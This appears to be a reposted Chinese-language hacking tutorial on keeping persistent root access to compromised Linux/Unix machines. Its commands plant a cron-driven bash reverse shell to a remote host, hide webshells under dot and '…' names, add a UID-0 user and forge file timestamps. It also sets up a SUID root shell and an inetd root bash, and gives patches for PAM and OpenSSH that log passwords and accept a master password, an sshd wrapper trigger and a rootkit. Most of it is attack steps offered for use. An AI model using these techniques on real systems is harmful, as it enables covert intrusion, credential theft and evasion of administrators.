Unix Bash 遠控後門html
簡介web
利用 Unix/Linux 自帶的 Bash 和 Crond 實現遠控功能,保持反彈上線到公網機器。shell
利用方法vim
先建立 /etc/xxxx 腳本文件(名字本身改),利用該腳本進行反彈。如下腳本表明全自動反彈到 8.8.8.8 的 53 端口。瀏覽器
nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK">/dev/null else /sbin/iptables --policy INPUT ACCEPT /sbin/iptables --policy OUTPUT ACCEPT bash -i >& /dev/tcp/8.8.8.8/53 0>&1 fi chmod +sx /etc/xxxx
而後咱們須要修改一下 /etc/crontab 讓它定時執行。bash
nano /etc/crontab 在 /etc/crontab 文件末加入這一行。表明每 1 分鐘執行一次。服務器
*/1 * * * * root /etc/xxxx
最後重啓一下 crond 的服務。(不一樣發行版重啓方式不同,自行查詢)app
service cron reload service cron start
而後在 8.8.8.8 的服務器上使用 NC 接收 Shell 便可。ssh
nc -vv -lp 53
Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者後門什麼的,能夠利用一下隱藏文件夾和文件。
方法一
好比建立一個名字開頭帶 . 的 Webshell 或者文件夾,默認狀況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行。(查看方法:ls -a)
touch .webshell.php 建立名字爲 .webshell.php 的文件 mkdir .backdoor/ 建立名字爲 .backdoor 的文件夾
終極方法
在管理員喝多了或者腦子轉不過來的狀況下,是絕對不會發現的!至少我用了這麼久是沒幾個發現的。
是文件的話瀏覽器訪問直接輸 … 就行,目錄同理。
touch … 建立名字爲 … 的文件
mkdir … 建立名字爲 … 的文件夾
效果如圖:
Linux/Unix 添加 UID 爲 0 的用戶
簡介
在 Unix 體系下,UID 爲 0 就是 root 權限。因此滲透的時候能夠添加一個 UID 爲 0 的用戶做爲後門。
利用方法
useradd -o -u 0 backdoor
Linux/Unix 修改文件時間戳簡介
Unix 下藏後門必需要修改時間,不然很容易被發現,直接利用 touch 就能夠了。
好比參考 index.php 的時間,再賦給 webshell.php,結果兩個文件的時間就同樣了。
利用方法
touch -r index.php webshell.php
或者直接將時間戳修改爲某年某月某日。以下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
系統環境
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
SUID shell利用方法
首先, 先切換成爲root用戶,並執行如下的命令:
dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /.wootdawg:~# ls -al /.woot-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
固然, 你也能夠起其餘更具有隱藏性的名字,我想猥瑣並機智的你,確定能想出不少好的名字的。文件前面的那一點也不是必要的,只是爲了隱藏文件( 在文件名的最前面加上「.」,就能夠在任意文件目錄下進行隱藏) .
如今,作爲一個普通用戶,咱們來啓用這個後門:
fw@dawg:~$ iduid=1000(fw) gid=1000(fw) groups=1000(fw)fw@dawg:~$ /.woot.woot-2.05b$ iduid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
爲何不行呢?
由於 bash2 針對 suid有一些護衛的措施. 但這也不是不可破的:
.woot-2.05b$ /.woot -p .woot-2.05b# id uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p參數來獲取一個root shell. 這個euid的意思是 effective user id(關於這些ID的知識,能夠戳這裏)
這裏要特別注意的是,做爲一個普通用戶執行這個SUID shell時,必定要使用全路徑。
小知識:
如何查找那些具備SUID 的文件:
dawg:~# find / -perm +4000 -ls
這時就會返回具備SUID位的文件啦。
遠程後門利用方法
咱們使用vi來修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal[/align] #discard stream tcp nowait root internal #discard dgram udp wait root internal #daytime stream tcp nowait root internal
修改成:
#discard stream tcp nowait root internal[/align] #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i
開啓inetd:
dawg:~# inetd
若是要強制重啓inetd:
dawg:~# ps -ef | grep inetdroot 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot 13769 13643 0 17:51 pts/1 00:00:00 grep inetddawg:~# kill -HUP 362
如今咱們就能夠用nc來爆菊了:
C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [192.168.1.77] 13 (daytime) open bash: no job control in this shell bash-2.05b# bash-2.05b# bash-2.05b# iduid=0(root) gid=0(root) groups=0(root)bash-2.05b# uname -a Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
能夠修改/etc/services文件,加入如下的東西:
woot 6666/tcp #evil backdoor service
而後修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
咱們能夠修改爲一些常見的端口,以實現隱藏。
PAM後門簡介
PAM (Pluggable AuthenticationModules )是由Sun提出的一種認證機制。它經過提供一些動態連接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員能夠靈活地根據須要給不一樣的服務配置不一樣的認證方式而無需更改服務程序,同時也便於向系統中添加新的認證手段。PAM最初是集成在Solaris中,目前已移植到其它系統中,如Linux、SunOS、HP-UX9.0等。
搭建PAM後門主要思路:pam_unix_auth.c打補丁安裝到正常的PAM模塊中。
利用方法
一、獲取目標系統所使用的PAM版本:
rpm -qa |grep pam
二、編譯安裝PAM
三、將本地pam_unix_auth.c文件經過打補丁方式,編譯生成。
四、編譯完後的文件在:modules/pam_unix/.libs/pam_unix.so,後門密碼爲root123,並會在/tmp/pslog記錄root登陸密碼。
特色:
優點:隱蔽性較強,不易被發現。
劣勢:須要編譯環境,缺乏GCC或其餘依賴包容易出現問題
openssh後門簡介
下載新版本的openssh,並下載對應patch包,這個patch文件包含sshbd5.9p1.diff文件爲後門文件,文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h
利用方法
#tar -zxvf openssh-5.9p1.tar.gz #tar -zxvf 0×06-openssh-5.9p1.patch.tar.gz vim includes.h //修改後門密碼,記錄文件位置, /* #define ILOG 「/tmp/ilog」 //記錄登陸到本機的用戶名和密碼 #define OLOG 「/tmp/olog」 //記錄本機登陸到遠程的用戶名和密碼 #define SECRETPW 「root123″ //你後門的密碼 */優點:隱蔽性較強,不易被發現。 劣勢:須要編譯環境,缺乏GCC或其餘依賴包容易出現問題。
快速得到ssh後門簡介
就會派生一個31337端口,而後鏈接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登錄。
利用方法
在遠程主機上執行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就會派生一個31337端口,而後鏈接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登錄。
特色:
優點:隱蔽性較弱,適合短期鏈接。
劣勢:重啓後會斷開,沒法後彈鏈接。
SSH wrapper後門簡介
init首先啓動的是/usr/sbin/sshd,腳本執行到getpeername這裏的時候,正則匹配會失敗,因而執行下一句,啓動/usr/bin/sshd,這是原始sshd。原始的sshd監聽端口創建了tcp鏈接後,會fork一個子進程處理具體工做。這個子進程,沒有什麼檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,若是是19526就執行sh給個shell。
利用方法
客戶端:
[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo ‘#!/usr/bin/perl’ >sshd [root@localhost sbin]# echo ‘exec 「/bin/sh」 if(getpeername(STDIN) =~ /^..4A/);’ >>sshd [root@localhost sbin]# echo ‘exec{「/usr/bin/sshd」} 「/usr/sbin/sshd」,@ARGV,’ >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特色:
優點:隱蔽性較強,無須要編譯,使用於大部分環境中。
劣勢:須要重啓sshd進程。
mafix rootkit建立後門簡介
Mafix是一款經常使用的輕量應用級別Rootkits,是經過僞造ssh協議漏洞實現遠程登錄的特色是配置簡單並能夠自定義驗證密碼和端口號。
利用方法
安裝完成後,使用ssh 用戶@IP -P 配置的端口,便可遠程登陸。
特色:
優點:隱蔽性通常,無須要編譯。
劣勢:會替換ls等命令,容易被識破
原文首發:i春秋社區